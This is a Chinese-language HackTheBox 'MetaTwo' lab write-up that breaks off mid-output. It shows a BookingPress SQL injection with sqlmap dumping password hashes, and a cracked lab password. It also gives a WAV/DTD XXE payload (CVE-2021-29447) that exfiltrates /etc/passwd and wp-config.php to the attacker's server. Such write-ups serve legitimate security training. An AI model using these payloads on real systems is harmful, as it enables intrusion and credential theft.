【hackthebox】MetaTwo writeup

一、信息收集

nmap -p- 10.129.228.95 --min-rate=1000
nmap -p21,22,80 -sC -sV -A 10.129.228.95

发现开放了21 22 80 端口,域名为 http://metapress.htb/,绑定至hosts

发现是wordpress程序

$ wpscan --url  http://metapress.htb/ --api-token **************
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.22
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://metapress.htb/ [10.129.228.95]
[+] Started: Sat Dec  3 04:43:05 2022

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: nginx/1.18.0
 |  - X-Powered-By: PHP/8.0.24
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://metapress.htb/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://metapress.htb/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://metapress.htb/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://metapress.htb/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.6.2 identified (Insecure, released on 2021-02-22).
 | Found By: Rss Generator (Passive Detection)
 |  - http://metapress.htb/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
 |  - http://metapress.htb/comments/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
 |
 | [!] 28 vulnerabilities identified:
 |
 | [!] Title: WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8
 |     Fixed in: 5.6.3
 |     References:
 |      - https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447
 |      - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/
 |      - https://core.trac.wordpress.org/changeset/29378
 |      - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rv47-pc52-qrhh
 |      - https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/
 |      - https://hackerone.com/reports/1095645
 |      - https://www.youtube.com/watch?v=3NBxcmqCgt4
 |
 | [!] Title: WordPress 4.7-5.7 - Authenticated Password Protected Pages Exposure
 |     Fixed in: 5.6.3
 |     References:
 |      - https://wpscan.com/vulnerability/6a3ec618-c79e-4b9c-9020-86b157458ac5
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29450
 |      - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/
 |      - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pmmh-2f36-wvhq
 |      - https://core.trac.wordpress.org/changeset/50717/
 |      - https://www.youtube.com/watch?v=J2GXmxAdNWs
 |
 | [!] Title: WordPress 3.7 to 5.7.1 - Object Injection in PHPMailer
 |     Fixed in: 5.6.4
 |     References:
 |      - https://wpscan.com/vulnerability/4cd46653-4470-40ff-8aac-318bee2f998d
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36326
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19296
 |      - https://github.com/WordPress/WordPress/commit/267061c9595fedd321582d14c21ec9e7da2dcf62
 |      - https://wordpress.org/news/2021/05/wordpress-5-7-2-security-release/
 |      - https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9
 |      - https://www.wordfence.com/blog/2021/05/wordpress-5-7-2-security-release-what-you-need-to-know/
 |      - https://www.youtube.com/watch?v=HaW15aMzBUM
 |
 | [!] Title: WordPress 5.4 to 5.8 -  Lodash Library Update
 |     Fixed in: 5.6.5
 |     References:
 |      - https://wpscan.com/vulnerability/5d6789db-e320-494b-81bb-e678674f4199
 |      - https://wordpress.org/news/2021/09/wordpress-5-8-1-security-and-maintenance-release/
 |      - https://github.com/lodash/lodash/wiki/Changelog
 |      - https://github.com/WordPress/wordpress-develop/commit/fb7ecd92acef6c813c1fde6d9d24a21e02340689
 |
 | [!] Title: WordPress 5.4 to 5.8 - Authenticated XSS in Block Editor
 |     Fixed in: 5.6.5
 |     References:
 |      - https://wpscan.com/vulnerability/5b754676-20f5-4478-8fd3-6bc383145811
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39201
 |      - https://wordpress.org/news/2021/09/wordpress-5-8-1-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-wh69-25hr-h94v
 |
 | [!] Title: WordPress 5.4 to 5.8 - Data Exposure via REST API
 |     Fixed in: 5.6.5
 |     References:
 |      - https://wpscan.com/vulnerability/38dd7e87-9a22-48e2-bab1-dc79448ecdfb
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39200
 |      - https://wordpress.org/news/2021/09/wordpress-5-8-1-security-and-maintenance-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/ca4765c62c65acb732b574a6761bf5fd84595706
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-m9hc-7v5q-x8q5
 |
 | [!] Title: WordPress < 5.8.2 - Expired DST Root CA X3 Certificate
 |     Fixed in: 5.6.6
 |     References:
 |      - https://wpscan.com/vulnerability/cc23344a-5c91-414a-91e3-c46db614da8d
 |      - https://wordpress.org/news/2021/11/wordpress-5-8-2-security-and-maintenance-release/
 |      - https://core.trac.wordpress.org/ticket/54207
 |
 | [!] Title: WordPress < 5.8 - Plugin Confusion
 |     Fixed in: 5.8
 |     References:
 |      - https://wpscan.com/vulnerability/95e01006-84e4-4e95-b5d7-68ea7b5aa1a8
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44223
 |      - https://vavkamil.cz/2021/11/25/wordpress-plugin-confusion-update-can-get-you-pwned/
 |
 | [!] Title: WordPress < 5.8.3 - SQL Injection via WP_Query
 |     Fixed in: 5.6.7
 |     References:
 |      - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21661
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84
 |      - https://hackerone.com/reports/1378209
 |
 | [!] Title: WordPress < 5.8.3 - Author+ Stored XSS via Post Slugs
 |     Fixed in: 5.6.7
 |     References:
 |      - https://wpscan.com/vulnerability/dc6f04c2-7bf2-4a07-92b5-dd197e4d94c8
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21662
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-699q-3hj9-889w
 |      - https://hackerone.com/reports/425342
 |      - https://blog.sonarsource.com/wordpress-stored-xss-vulnerability
 |
 | [!] Title: WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query
 |     Fixed in: 5.6.7
 |     References:
 |      - https://wpscan.com/vulnerability/24462ac4-7959-4575-97aa-a6dcceeae722
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21664
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jp3p-gw8h-6x86
 |
 | [!] Title: WordPress < 5.8.3 - Super Admin Object Injection in Multisites
 |     Fixed in: 5.6.7
 |     References:
 |      - https://wpscan.com/vulnerability/008c21ab-3d7e-4d97-b6c3-db9d83f390a7
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21663
 |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jmmq-m8p8-332h
 |      - https://hackerone.com/reports/541469
 |
 | [!] Title: WordPress < 5.9.2 - Prototype Pollution in jQuery
 |     Fixed in: 5.6.8
 |     References:
 |      - https://wpscan.com/vulnerability/1ac912c1-5e29-41ac-8f76-a062de254c09
 |      - https://wordpress.org/news/2022/03/wordpress-5-9-2-security-maintenance-release/
 |
 | [!] Title: WP < 6.0.2 - Reflected Cross-Site Scripting
 |     Fixed in: 5.6.9
 |     References:
 |      - https://wpscan.com/vulnerability/622893b0-c2c4-4ee7-9fa1-4cecef6e36be
 |      - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/
 |
 | [!] Title: WP < 6.0.2 - Authenticated Stored Cross-Site Scripting
 |     Fixed in: 5.6.9
 |     References:
 |      - https://wpscan.com/vulnerability/3b1573d4-06b4-442b-bad5-872753118ee0
 |      - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/
 |
 | [!] Title: WP < 6.0.2 - SQLi via Link API
 |     Fixed in: 5.6.9
 |     References:
 |      - https://wpscan.com/vulnerability/601b0bf9-fed2-4675-aec7-fed3156a022f
 |      - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/
 |
 | [!] Title: WP < 6.0.3 - Stored XSS via wp-mail.php
 |     Fixed in: 5.6.10
 |     References:
 |      - https://wpscan.com/vulnerability/713bdc8b-ab7c-46d7-9847-305344a579c4
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/abf236fdaf94455e7bc6e30980cf70401003e283
 |
 | [!] Title: WP < 6.0.3 - Open Redirect via wp_nonce_ays
 |     Fixed in: 5.6.10
 |     References:
 |      - https://wpscan.com/vulnerability/926cd097-b36f-4d26-9c51-0dfab11c301b
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/506eee125953deb658307bb3005417cb83f32095
 |
 | [!] Title: WP < 6.0.3 - Email Address Disclosure via wp-mail.php
 |     Fixed in: 5.6.10
 |     References:
 |      - https://wpscan.com/vulnerability/c5675b59-4b1d-4f64-9876-068e05145431
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/5fcdee1b4d72f1150b7b762ef5fb39ab288c8d44
 |
 | [!] Title: WP < 6.0.3 - Reflected XSS via SQLi in Media Library
 |     Fixed in: 5.6.10
 |     References:
 |      - https://wpscan.com/vulnerability/cfd8b50d-16aa-4319-9c2d-b227365c2156
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/8836d4682264e8030067e07f2f953a0f66cb76cc
 |
 | [!] Title: WP < 6.0.3 - CSRF in wp-trackback.php
 |     Fixed in: 5.6.10
 |     References:
 |      - https://wpscan.com/vulnerability/b60a6557-ae78-465c-95bc-a78cf74a6dd0
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/a4f9ca17fae0b7d97ff807a3c234cf219810fae0
 |
 | [!] Title: WP < 6.0.3 - Stored XSS via the Customizer
 |     Fixed in: 5.6.10
 |     References:
 |      - https://wpscan.com/vulnerability/2787684c-aaef-4171-95b4-ee5048c74218
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/2ca28e49fc489a9bb3c9c9c0d8907a033fe056ef
 |
 | [!] Title: WP < 6.0.3 - Stored XSS via Comment Editing
 |     Fixed in: 5.6.10
 |     References:
 |      - https://wpscan.com/vulnerability/02d76d8e-9558-41a5-bdb6-3957dc31563b
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/89c8f7919460c31c0f259453b4ffb63fde9fa955
 |
 | [!] Title: WP < 6.0.3 - Content from Multipart Emails Leaked
 |     Fixed in: 5.6.10
 |     References:
 |      - https://wpscan.com/vulnerability/3f707e05-25f0-4566-88ed-d8d0aff3a872
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/3765886b4903b319764490d4ad5905bc5c310ef8
 |
 | [!] Title: WP < 6.0.3 - SQLi in WP_Date_Query
 |     Fixed in: 5.6.10
 |     References:
 |      - https://wpscan.com/vulnerability/1da03338-557f-4cb6-9a65-3379df4cce47
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/d815d2e8b2a7c2be6694b49276ba3eee5166c21f
 |
 | [!] Title: WP < 6.0.3 - Stored XSS via RSS Widget
 |     Fixed in: 5.6.10
 |     References:
 |      - https://wpscan.com/vulnerability/58d131f5-f376-4679-b604-2b888de71c5b
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/929cf3cb9580636f1ae3fe944b8faf8cca420492
 |
 | [!] Title: WP < 6.0.3 - Data Exposure via REST Terms/Tags Endpoint
 |     Fixed in: 5.6.10
 |     References:
 |      - https://wpscan.com/vulnerability/b27a8711-a0c0-4996-bd6a-01734702913e
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/wordpress-develop/commit/ebaac57a9ac0174485c65de3d32ea56de2330d8e
 |
 | [!] Title: WP < 6.0.3 - Multiple Stored XSS via Gutenberg
 |     Fixed in: 5.6.10
 |     References:
 |      - https://wpscan.com/vulnerability/f513c8f6-2e1c-45ae-8a58-36b6518e2aa9
 |      - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
 |      - https://github.com/WordPress/gutenberg/pull/45045/files

[+] WordPress theme in use: twentytwentyone
 | Location: http://metapress.htb/wp-content/themes/twentytwentyone/
 | Last Updated: 2022-11-02T00:00:00.000Z
 | Readme: http://metapress.htb/wp-content/themes/twentytwentyone/readme.txt
 | [!] The version is out of date, the latest version is 1.7
 | Style URL: http://metapress.htb/wp-content/themes/twentytwentyone/style.css?ver=1.1
 | Style Name: Twenty Twenty-One
 | Style URI: https://wordpress.org/themes/twentytwentyone/
 | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 1.1 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://metapress.htb/wp-content/themes/twentytwentyone/style.css?ver=1.1, Match: 'Version: 1.1'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:07 <===================================================================================================================> (137 / 137) 100.00% Time: 00:00:07

[i] No Config Backups Found.

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 2
 | Requests Remaining: 73

[+] Finished: Sat Dec  3 04:43:21 2022
[+] Requests Done: 143
[+] Cached Requests: 38
[+] Data Sent: 41.514 KB
[+] Data Received: 78.153 KB
[+] Memory used: 225.543 MB
[+] Elapsed time: 00:00:15

二、web渗透

CVE-2022-0739-漏洞详情

https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357

-x使用burp代理

curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=ab3d51bc68&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -' -x http://127.0.0.1:8080
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: metapress.htb
User-Agent: curl/7.84.0
Accept: */*
Content-Length: 185
Content-Type: application/x-www-form-urlencoded
Connection: close

action=bookingpress_front_get_category_services&_wpnonce=ab3d51bc68&category_id=33&total_service=1
sqlmap -r req.txt -p total_service --batch
sqlmap -r req.txt -p total_service --dbs
sqlmap -r req.txt -p total_service -D blog --tables
sqlmap -r req.txt -p total_service -D blog -T wp_users --dump
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| ID | user_url             | user_pass                          | user_email            | user_login | user_status | display_name | user_nicename | user_registered     | user_activation_key |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+
| 1  | http://metapress.htb | $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. | admin@metapress.htb   | admin      | 0           | admin        | admin         | 2022-06-23 17:58:28 | <blank>             |
| 2  | <blank>              | $P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70 | manager@metapress.htb | manager    | 0           | manager      | manager       | 2022-06-23 18:07:55 | <blank>             |
+----+----------------------+------------------------------------+-----------------------+------------+-------------+--------------+---------------+---------------------+---------------------+

暴力破解走起

└─$ john -w=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
partylikearockstar (?)     

manager partylikearockstar

尝试FTP是不是也是同密码

ftp ftp://manager:partylikearockstar@10.129.228.95

那就只能web登陆了

登陆成功,就可以利用之前的wpscan扫描的结果

CVE-2021-29447

https://tryhackme.com/room/wordpresscve202129447

我们需要创建一个WAV文件,该文件将获取另一个名为的文件dedsec.dtd,其中包含我们的恶意内容

❯ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.XX.XX:9001/dedsec.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav

现在让我们创建dedsec.dtd文件,它将读取/etc/passwd文件并将其转换为并在我们的服务器上按请求base64发送该数据GETphp

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.38:9001/?p=%file;'>" >

启动PHP服务器

❯ php -S 0.0.0.0:9001

得到了base64编码值

❯ echo -n 'cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo=' | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin

获取 WordPress的wp-config.php文件,但为此我们需要该path目录nginx的configuration

❯ cat dedsec.dtd 
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/nginx/sites-enabled/default">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.38:9001/?p=%file;'>" >
❯ echo -n "c2VydmVyIHsKCglsaXN0ZW4gODA7CglsaXN0ZW4gWzo6XTo4MDsKCglyb290IC92YXIvd3d3L21ldGFwcmVzcy5odGIvYmxvZzsKCglpbmRleCBpbmRleC5waHAgaW5kZXguaHRtbDsKCiAgICAgICAgaWYgKCRodHRwX2hvc3QgIT0gIm1ldGFwcmVzcy5odGIiKSB7CiAgICAgICAgICAgICAgICByZXdyaXRlIF4gaHR0cDovL21ldGFwcmVzcy5odGIvOwogICAgICAgIH0KCglsb2NhdGlvbiAvIHsKCQl0cnlfZmlsZXMgJHVyaSAkdXJpLyAvaW5kZXgucGhwPyRhcmdzOwoJfQogICAgCglsb2NhdGlvbiB+IFwucGhwJCB7CgkJaW5jbHVkZSBzbmlwcGV0cy9mYXN0Y2dpLXBocC5jb25mOwoJCWZhc3RjZ2lfcGFzcyB1bml4Oi92YXIvcnVuL3BocC9waHA4LjAtZnBtLnNvY2s7Cgl9CgoJbG9jYXRpb24gfiogXC4oanN8Y3NzfHBuZ3xqcGd8anBlZ3xnaWZ8aWNvfHN2ZykkIHsKCQlleHBpcmVzIG1heDsKCQlsb2dfbm90X2ZvdW5kIG9mZjsKCX0KCn0K" | base64 -d
server {

        listen 80;
        listen [::]:80;

        root /var/www/metapress.htb/blog;

        index index.php index.html;

        if ($http_host != "metapress.htb") {
                rewrite ^ http://metapress.htb/;
        }

        location / {
                try_files $uri $uri/ /index.php?$args;
        }
    
        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/var/run/php/php8.0-fpm.sock;
        }

        location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg)$ {
                expires max;
                log_not_found off;
        }

}

得到了路径/var/www/metapress.htb/blog

❯ cat dedsec.dtd
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.38:9001/?p=%file;'>" >
❯ echo -n "PD9waHANCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICdibG9nJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgdXNlcm5hbWUgKi8NCmRlZmluZSggJ0RCX1VTRVInLCAnYmxvZycgKTsNCg0KLyoqIE15U1FMIGRhdGFiYXNlIHBhc3N3b3JkICovDQpkZWZpbmUoICdEQl9QQVNTV09SRCcsICc2MzVBcUBUZHFyQ3dYRlVaJyApOw0KDQovKiogTXlTUUwgaG9zdG5hbWUgKi8NCmRlZmluZSggJ0RCX0hPU1QnLCAnbG9jYWxob3N0JyApOw0KDQovKiogRGF0YWJhc2UgQ2hhcnNldCB0byB1c2UgaW4gY3JlYXRpbmcgZGF0YWJhc2UgdGFibGVzLiAqLw0KZGVmaW5lKCAnREJfQ0hBUlNFVCcsICd1dGY4bWI0JyApOw0KDQovKiogVGhlIERhdGFiYXNlIENvbGxhdGUgdHlwZS4gRG9uJ3QgY2hhbmdlIHRoaXMgaWYgaW4gZG91YnQuICovDQpkZWZpbmUoICdEQl9DT0xMQVRFJywgJycgKTsNCg0KZGVmaW5lKCAnRlNfTUVUSE9EJywgJ2Z0cGV4dCcgKTsNCmRlZmluZSggJ0ZUUF9VU0VSJywgJ21ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfUEFTUycsICc5TllTX2lpQEZ5TF9wNU0yTnZKJyApOw0KZGVmaW5lKCAnRlRQX0hPU1QnLCAnZnRwLm1ldGFwcmVzcy5odGInICk7DQpkZWZpbmUoICdGVFBfQkFTRScsICdibG9nLycgKTsNCmRlZmluZSggJ0ZUUF9TU0wnLCBmYWxzZSApOw0KDQovKiojQCsNCiAqIEF1dGhlbnRpY2F0aW9uIFVuaXF1ZSBLZXlzIGFuZCBTYWx0cy4NCiAqIEBzaW5jZSAyLjYuMA0KICovDQpkZWZpbmUoICdBVVRIX0tFWScsICAgICAgICAgJz8hWiR1R08qQTZ4T0U1eCxwd2VQNGkqejttYHwuWjpYQClRUlFGWGtDUnlsN31gclhWRz0zIG4+KzNtPy5CLzonICk7DQpkZWZpbmUoICdTRUNVUkVfQVVUSF9LRVknLCAgJ3gkaSQpYjBdYjFjdXA7NDdgWVZ1YS9KSHElKjhVQTZnXTBid29FVzo5MUVaOWhdcldsVnElSVE2NnBmez1dYSUnICk7DQpkZWZpbmUoICdMT0dHRURfSU5fS0VZJywgICAgJ0orbXhDYVA0ejxnLjZQXnRge